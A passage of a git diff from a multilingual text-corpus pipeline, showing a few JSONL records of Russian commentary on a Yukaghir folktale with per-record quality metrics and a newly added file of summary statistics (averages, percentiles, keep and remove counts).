Оо","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.731,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"Сказка высмеивает трех глупых и трусливыхбратьев, погубивших своих жен, детей, а затем и друг друга.","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.943,"perplexity_score":500.0,"cluster_detection":-1} +{"url":"http:\/\/www.ruthenia.ru\/folklore\/novik\/Kommentarii010-033.htm","collection":"languages_of_russia","source":"www.ruthenia.ru","original_code":"yux","text":"Записал в 1959 г. на юкагирском и русскомязыках Лаптев А.П. Сказка с аналогичным сюжетом известна уякутов: \"Лыыбырда\" [29, c.149-153].","num_words":17,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.313,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":-1} diff --git a/yux_Cyrl/mala_000001_stas.jsonl b/yux_Cyrl/mala_000001_stas.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..8457c8f2178ca027b5e51d9d51dbb15c8d1f0ad8 --- /dev/null +++ b/yux_Cyrl/mala_000001_stas.jsonl @@ -0,0 +1,115 @@ +[ + { + "avg": { + "num_words": 12.571428571428571, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2374285714285714, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.938, + "perplexity_score": 500.0 + } + }, + { + "std": { + "num_words": 2.3211538298959886, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.03690473118278291, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.08656294159247857, + "perplexity_score": 0.0 + } + }, + { + "median": { + "num_words": 12.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.23, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.981, + "perplexity_score": 500.0 + } + }, + { + "max": { + "num_words": 17.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.313, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 1.0, + "perplexity_score": 500.0 + } + }, + { + "min": { + "num_words": 10.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.18, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.731, + "perplexity_score": 500.0 + } + }, + { + "90%": { + "num_words": 15.8, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2752, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9892, + "perplexity_score": 500.0 + } + }, + { + "75%": { + "num_words": 13.5, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.2445, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9815, + "perplexity_score": 500.0 + } + }, + { + "50%": { + "num_words": 12.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.23, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.981, + "perplexity_score": 500.0 + } + }, + { + "25%": { + "num_words": 11.0, + "character_repetition_ratio": 0.0, + "word_repetition_ratio": 0.0, + "special_characters_ratio": 0.225, + "stopwords_ratio": 0.0, + "flagged_words_ratio": 0.0, + "lang_id_score": 0.9455, + "perplexity_score": 500.0 + } + }, + { + "total size": "7", + "keep size": "4", + "remove size": "3" + } +] \ No newline at end of file